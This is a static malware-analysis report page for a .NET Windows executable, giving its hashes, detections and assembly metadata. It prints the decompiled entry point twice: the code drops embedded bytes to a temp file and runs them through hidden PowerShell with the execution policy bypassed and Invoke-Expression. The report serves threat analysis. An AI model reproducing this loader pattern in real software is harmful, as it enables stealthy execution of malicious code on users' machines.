Suspicious
Suspect

2f2642408392efbc9eb3850fd4c57755

Share on LinkedIn
Print
PE Executable
MD5: 2f2642408392efbc9eb3850fd4c57755
Size: 416.26 KB
application/x-dosexec

This sample is a 406.5 KB PE Executable for which Malva.RE's static analysis did not establish a malicious verdict. Static analysis extracted 3 embedded or derived files. It matches 8 YARA rules. The file was analysed statically: it was parsed and decompiled, never executed.

SHA256
9900143d04ff107fcc5f5b6b09c780cff3bdac77ab966a9e7870ea2300bd4c93
MD5
2f2642408392efbc9eb3850fd4c57755
Verdict
Inconclusive
File type
PE Executable · 406.5 KB

Cite this report: https://app.malva.re/sha256/9900143d04ff107fcc5f5b6b09c780cff3bdac77ab966a9e7870ea2300bd4c93

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential

File
Type
Portable Executable file
Size
416.26 KB · 416,256 B
First seen
2026-10-12 08:15 · 13 days ago
Last seen
2026-10-12 08:15 · 13 days ago
Last analysis
2026-10-12 08:15 · 13 days ago
Hashes
MD5 2f2642408392efbc9eb3850fd4c57755 Sha1 8aeedbbbb9748ac518ea5da914f161000b1ec98b Sha256 9900143d04ff107fcc5f5b6b09c780cff3bdac77ab966a9e7870ea2300bd4c93 Sha384 db972f97d85a5a27e058917ea2a0291fe122f9bb3664656db1a78f659d8ea5f1400b50f87a627b124e59dc7e31e1a5ec Sha512 59d6e8cae4e951b9cd5afa5c176badb2c786390311bcdc7019519d17bbc2749054374d567eda5d0bb08aa0a1090abec32eba8da9fe3843def9186d1cbda5f7cb SSDeep 12288:vsbZcNIRcD2MHPOqNkXXDjq+xTl4voQZtt0RbodEqFY7wGaI27Jk:FOZGkXf4g+JD7 TLSH 0F94892869BB505EA173FF613EECB9DFDDDF6A622509655B108103074A22F80EF4293D
Detection
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Symbol obfuscation
Low

4 files
EXE2f2642408392efbc9eb3850fd4c57755
Structure
STICH beta

No STICH Path has been generated for this analysis yet.

2 structural branches were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 2

Name Value
Module Name
yBiyfjIrLo.exe
Full Name
yBiyfjIrLo.exe
EntryPoint
System.Void yBiyfjIrLo.Form1::Main(System.String[])
Scope Name
yBiyfjIrLo.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
yBiyfjIrLo
Assembly Version
2.8.0.3
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.0
Total Strings
991
Main Method
System.Void yBiyfjIrLo.Form1::Main(System.String[])
Main IL Instruction Count
53
Main IL 
nop <null>
call System.String System.IO.Path::GetTempPath()
stloc.0 <null>
ldloc.0 <null>
ldstr \
callvirt System.Boolean System.String::EndsWith(System.String)
brfalse.s IL_0022: nop
ldloc.0 <null>
ldstr tmp23840.tmp
call System.String System.String::Concat(System.String,System.String)
stloc.0 <null>
br.s IL_002F: nop
nop <null>
ldloc.0 <null>
ldstr \tmp23840.tmp
call System.String System.String::Concat(System.String,System.String)
stloc.0 <null>
nop <null>
ldloc.0 <null>
call System.Byte[] yBiyfjIrLo.Form1::GsuFQNnQut()
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
nop <null>
ldstr & {$shObj = [System.IO.File]::ReadAllText('
ldloc.0 <null>
ldstr '); Invoke-Expression -Command $shObj}
call System.String System.String::Concat(System.String,System.String,System.String)
stloc.1 <null>
ldstr powershell
ldstr -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "
ldloc.1 <null>
ldstr "
call System.String System.String::Concat(System.String,System.String,System.String)
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String,System.String)
stloc.3 <null>
ldloc.3 <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
nop <null>
ldloc.3 <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
nop <null>
newobj System.Void System.Diagnostics.Process::.ctor()
stloc.2 <null>
ldloc.2 <null>
ldloc.3 <null>
callvirt System.Void System.Diagnostics.Process::set_StartInfo(System.Diagnostics.ProcessStartInfo)
nop <null>
ldloc.2 <null>
callvirt System.Boolean System.Diagnostics.Process::Start()
pop <null>
nop <null>
ret <null>
Info 
PDB Path: C:\Users\Android\AppData\Local\Temp\eENfEuLvzq\Doctorpol\obj\x86\Debug\yBiyfjIrLo.pdb
Module Name
yBiyfjIrLo.exe
Full Name
yBiyfjIrLo.exe
EntryPoint
System.Void yBiyfjIrLo.Form1::Main(System.String[])
Scope Name
yBiyfjIrLo.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
yBiyfjIrLo
Assembly Version
2.8.0.3
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.0
Total Strings
991
Main Method
System.Void yBiyfjIrLo.Form1::Main(System.String[])
Main IL Instruction Count
53
Main IL 
nop <null>
call System.String System.IO.Path::GetTempPath()
stloc.0 <null>
ldloc.0 <null>
ldstr \
callvirt System.Boolean System.String::EndsWith(System.String)
brfalse.s IL_0022: nop
ldloc.0 <null>
ldstr tmp23840.tmp
call System.String System.String::Concat(System.String,System.String)
stloc.0 <null>
br.s IL_002F: nop
nop <null>
ldloc.0 <null>
ldstr \tmp23840.tmp
call System.String System.String::Concat(System.String,System.String)
stloc.0 <null>
nop <null>
ldloc.0 <null>
call System.Byte[] yBiyfjIrLo.Form1::GsuFQNnQut()
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
nop <null>
ldstr & {$shObj = [System.IO.File]::ReadAllText('
ldloc.0 <null>
ldstr '); Invoke-Expression -Command $shObj}
call System.String System.String::Concat(System.String,System.String,System.String)
stloc.1 <null>
ldstr powershell
ldstr -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "
ldloc.1 <null>
ldstr "
call System.String System.String::Concat(System.String,System.String,System.String)
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String,System.String)
stloc.3 <null>
ldloc.3 <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
nop <null>
ldloc.3 <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
nop <null>
newobj System.Void System.Diagnostics.Process::.ctor()
stloc.2 <null>
ldloc.2 <null>
ldloc.3 <null>
callvirt System.Void System.Diagnostics.Process::set_StartInfo(System.Diagnostics.ProcessStartInfo)
nop <null>
ldloc.2 <null>
callvirt System.Boolean System.Diagnostics.Process::Start()
pop <null>
nop <null>
ret <null>

An error has occurred. This application may no longer respond until reloaded. Reload 🗙